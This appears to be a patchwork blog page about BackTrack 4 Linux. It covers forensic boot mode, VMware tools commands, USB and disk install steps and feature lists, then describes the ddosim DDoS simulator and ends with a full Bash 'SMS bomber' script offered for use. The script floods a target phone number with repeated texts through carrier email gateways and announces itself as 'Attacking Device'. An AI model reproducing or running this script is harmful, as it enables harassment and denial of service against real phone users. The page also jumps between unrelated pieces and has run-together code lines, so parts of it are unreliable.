When you first boot up the new Backtrack 4, you may have noticed something slightly different. So what is this “Start BackTrack Forensics” option about?
Live CDs and Forensics
For a long time now, Linux Live CDs have been very useful for forensic acquisition purposes in instances where for one reason or another you can’t utilize a hardware write blocker. When configured not to automount drives, and a little bit of know how, a Linux Live CD can be a wonderful software write blocker. For a Linux live CD to be considered for this purpose however, it is of the utmost importance that the use of the live CD in no way alters any data in any manner. In the past, this ruled out the use of Backtrack for forensic purposes. Backtrack would automount available drives and utilize swap partitions where available. This could cause all sorts of havoc, changing last mount times, altering data on disk, and so on. Well, no longer! The Backtrack 4 Live CD has incorporated changes to allow a boot mode which is forensically clean. This is great news, as with Backtrack being such a popular live CD, a copy can often be found close at hand.
How?
So, lets have the scoop. Forensic people are often detail oriented and very conservative, so how do we know it is safe to use? Well, first off the Backtrack 4 Live CD is based off of Casper, and contains no filesystem automount scripts at all. The system initialization scripts have been altered in the forensic boot mode so that Backtrack 4 will not look for or make use of any swap partitions which are contained on the system. All those scripts have been removed from the system.
Verification
To test this functionality, we have tested this boot mode with multiple hardware configurations. For each test, we took a before MD5 snapshot of the system disks, booted BT4 in forensic boot mode, verified no file systems were mounted and swap was not in use, did a number of activities on the system, then shut the system back down and took an after MD5 snapshot. In comparing the two MD5 snapshots, in every case they were a match, demonstrating no changes on the disks has been made. So, can you trust Backtrack 4 for your forensic purposes? Well, not until you verify it as well! Just like any forensic tool, its negligent to just take someone else’s word that any tool works properly. Its up to you to independently verify the tool before you use it. We expect your results will match ours, and you will find Backtrack 4 is a great addition to you tool set. (And, if your results find a problem, please let us know ASAP and include details as to how you conducted your testing. As, that would be a real problem.)
Usage
When you utilize Backtrack for forensics purposes, be sure you don’t let it go through an unattended boot. Default boot for Backtrack is standard boot mode, which will use swap partitions if they are present. There is a nice long delay however, so you will have plenty of time to select the proper boot mode. Also, please remember, this is a Linux distribution. It is highly suggested that you become familiar with Linux before use this, or any other Linux Live CD for any forensic purpose. Also, be sure to check out the additional forensic tools added to Backtrack 4. We have concentrated on the addition of imaging and triage tools, but if you find that one of your favorite utilities is not in place please let us know so we can look into having it added.
Customizing the BackTrack iso is simple, using a pre-made script. Ideally, you should be editing the ISO file *on a BackTrack install* to ensure correct versions of squashfs, etc. Otherwise your mileage will vary. Please note that the script is very basic, and will need some modification (such as the hardcoded iso filename, etc). Make sure to look through it before running it. For more information, check the following blog post : http://www.offensive-security.com/blog/backtrack/customising-backtrack-live-cd-the-easy-way/Follow the basic install instructions here to get BackTrack installed in a VMware machine.
- Log into BackTrack. To install the VMWare drivers, the kernel source and headers need to be in place. By default in the BackTrack 4 final release, the kernel (denoted by {version} ) is configured and ready. However in some cases, you might need to make sure you have the latest kernel sources by typing in:
- Now that your kernel sources and headers are in place, run the “Install VMWare tools” for the specific guest VM.
- Mount the VMWare tools virtual cd, copy over the VMWare tools package and run the installer:
- Complete the VMWare tools installation as required. Run “fix-splash” to reintroduce the green framebuffer console. Reboot.
apt-get update apt-get install linux-source cd /usr/src tar jxpf linux-source-{version}.tar.bz2 ln -s linux-source-{version} linux cd linux zcat /proc/config.gz > .config make scripts make prepare
mount /dev/cdrom3 /mnt/cdrom cp /mnt/cdrom/VMwareTools-{version}.tar.gz /tmp/ cd /tmp/ tar zxpf VMwareTools-{version}.tar.gz cd vmware-tools-distrib ./vmware-install.pl
This method of getting a live install to a USB drive is the simplest available using Unetbootin. Note that we will format the USB drive and erase its contents.
- Plug in your USB Drive (Minimum USB Drive capacity 2 GB)
- Format the USB drive to FAT32
- Download Unetbootin from http://unetbootin.sourceforge.net/
- Start Unetbootin and select diskimage (use the backtrack-final ISO)
- Select your USB drive and click “OK” for creating a bootable BackTrack USB drive
- Log into BackTrack with the default username and password root / toor.
This method of installation is the simplest available. The assumption is that the you have a Windows installation taking up all the space on your drive, and you would like to resize and repartition your drive to allow a BackTrack install alongside your Windows. BACK UP YOUR WINDOWS INSTALLATION FIRST.
- Boot BackTrack on the machine to be installed. Once booted, type in “startx” to get to the KDE graphical interface.
- Double click the “install.sh” script on the desktop, or run the command “ubiquity” in console.
- Select your geographical location and click “forward”. Same for the Keyboard layout.
- The next screen allows you to configure the partitioning layout. The assumption is that we are resizing the Windows 7 partition and installing BackTrack on the newly made space.
- Accept the installation summary and client “Install”. Allow the installation to run and complete. Restart when done.
- Grub should allow you to boot both into BackTrack and Windows.
- Log into BackTrack with the default username and password root / toor. Change root password.
- Fix the framebuffer splash by typing “fix-splash” ( or “fix-splash800″ if you wish a 800×600 framebuffer), reboot.
BackTrack Clean Hard Drive Install
This method of installation is the simplest available. The assumption is that the whole hard drive is going to be used for BackTrack.- Boot BackTrack on the machine to be installed. Once booted, type in “startx” to get to the KDE graphical interface.
- Double click the “install.sh” script on the desktop, or run the command “ubiquity” in console.
- Select your geographical location and click “forward”. Same for the Keyboard layout.
- The next screen allows you to configure the partitioning layout. The assumption is that we are deleting the whole drive and installing BackTrack on it.
- Accept the installation summary and client “Install”. Allow the installation to run and complete. Restart when done.
- Log into BackTrack with the default username and password root / toor. Change root password.
- Fix the framebuffer splash by typing “fix-splash” ( or “fix-splash800″ if you wish a 800×600 framebuffer), reboot.
Back Track 4-The OS known for Hacking/Penetration Testing.
 |
| Back Track 4 - Ethical Hacking Tutorials(BTS) |
BackTrack4 is developed from the earlier linux distribution namely Whoppix, IWHAX, and Auditor.
BackTrack is funded by offensive Security.
New Features in BackTrack 4 r2
* Kernel 2.6.35.8 – *Much* improved mac80211 stack.
* USB 3.0 support.
* New wireless cards supported.
* All wireless Injection patches applied, maximum support for wireless attacks.
* Even *faster* desktop environment.
* Revamped Fluxbox environment for the KDE challenged.
* Metasploit rebuilt from scratch, MySQL db_drivers working out of the box.
* Updated old packages, added new ones, and removed obsolete ones.
* New BackTrack Wiki with better documentation and support.
* Our most professional, tested and streamlined release ever.
Download:
http://www.backtrack-linux.org/downloads
If you have any queries ,this link will clarify you :
Lines From Backtrack4-Linux.org:
More details and tutorials coming soon..!!!
Simulate a distributed denial of service (DDOS) attack against a target server. T
Ddosim is a tool that can be used in a laboratory environment to simulate a distributed denial of service (DDOS) attack against a target server. The test will show the capacity of the server to handle application specific DDOS attacks. ddosim simulates several zombie hosts (having random IP addresses) which create full TCP connections to the target server. After completing the connection, ddosim starts the conversation with the listening application (e.g. HTTP server).
ddosim is written in C++ and runs on Linux. Its current functionalities include:
- HTTP DDoS with valid requests
- HTTP DDoS with invalid requests (similar to a DC++ attack)
- SMTP DDoS
- TCP connection flood on random port
In order to simulate such an attack in a lab environment we need to setup a network like this:
More Info :
A friend and I wrote this command line SMS bomber in Bash. It allows you to set the message you want to send, the phone number to send it to, the carrier of the phone (which can be found at http://www.fonefinder.net), and the delay between messages. You'll need to install 'ssmtp'
If you're using Ubuntu or BT4 you can type:
Code:
You'll also need a Gmail account (I'm sure you could use another e-mail service, just make changes accordingly).
Then you'll need to edit the configuration file (located at /etc/ssmtp/ssmtp.conf)
Where it says:
Code:
# MX records are consulted. Commonly mailhosts are named mail.domain.com
mailhub=whatever
Then add this at the end of the configuration file:
Code:
AuthPass=YOURPASSWORD
UseSTARTTLS=YES
Then, you'll need to save the following code as whatever you want (I call it smsbomber):
COUNTER=0
SPEED=2
function usage {
echo "USAGE: $0 [OPTIONS] ... [ARGUMENTS]"
echo
echo "-p Phone Number"
echo "-c Carrier Code"
echo "-o Display Carrier Codes"
echo "-m Message to Send"
echo "-t Number of Times to Send Message"
echo "-d Delay (in seconds) Between Messages"
echo "-h This Help Screen"
echo
echo "You can check the carrier of a phone number"
echo "at www.fonefinder.net"
echo
echo "Instead of using a preset carrier code, you"
echo "can enter the SMS gateway of the carrier"
echo "using the '-c' option."
echo
echo "Written by MrPockets (aka GhostNode) and disk0"
exit
}
function carriers {
echo "Carrier Codes:"
echo
echo "1 AT&T"
echo "2 Boost Mobile"
echo "3 Cingular"
echo "4 Nextel"
echo "5 Sprint"
echo "6 Verizon or Straigh Talk"
echo "7 T-mobile"
echo "8 TracFone"
echo "9 US Cellular"
echo "10 Virgin Mobile"
exit
}
if [ "$1" == "" ]; then
usage
fi
while [ "$1" != "" ]; do
case "$1" in
'-p')
shift
NUMBER=$1
;;
'-c')
shift
case "$1" in
'1')
GATEWAY="@txt.att.net"
;;
'2')
GATEWAY="@myboostmobile.com"
;;
'3')
GATEWAY="@cingular.com"
;;
'4')
GATEWAY="@messaging.nextel.com"
;;
'5')
GATEWAY="@messaging.sprintpcs.com"
;;
'6')
GATEWAY="@vtext.com"
;;
'7')
GATEWAY="@tmomail.net"
;;
'8')
GATEWAY="@mmst5.tracfone.com"
;;
'9')
GATEWAY="@email.uscc.net"
;;
'10')
GATEWAY="@yrmobl.com"
;;
*)
GATEWAY=$1
;;
esac
;;
'-m')
shift
MESSAGE=$1
;;
'-d')
shift
SPEED=$1
;;
'-t')
shift
TIMES=$1
;;
'-h')
usage
;;
'-o')
carriers
;;
*)
usage
;;
esac
shift
done
echo >> delivery
echo >> delivery
echo $MESSAGE >> delivery
clear
echo " Attacking Device at: $NUMBER "
echo " With Message: $MESSAGE "
until [ $TIMES -le $COUNTER ]; do
ssmtp $NUMBER$GATEWAY < delivery sleep $SPEED COUNTER=$(($COUNTER +1)) echo ================================== echo echo "Attack $COUNTER of $TIMES" echo echo Message: $MESSAGE date echo "Ctrl+C to call off attack" echo ================================== done rm 1.txt rm delivery
Make sure you change the permissions to make it executable:
Code:
Then you can just type ./smsbomber or ./smsbomber -h for the help menu. You gues should be able to figure it out from there! Let me know what you think!
Posts
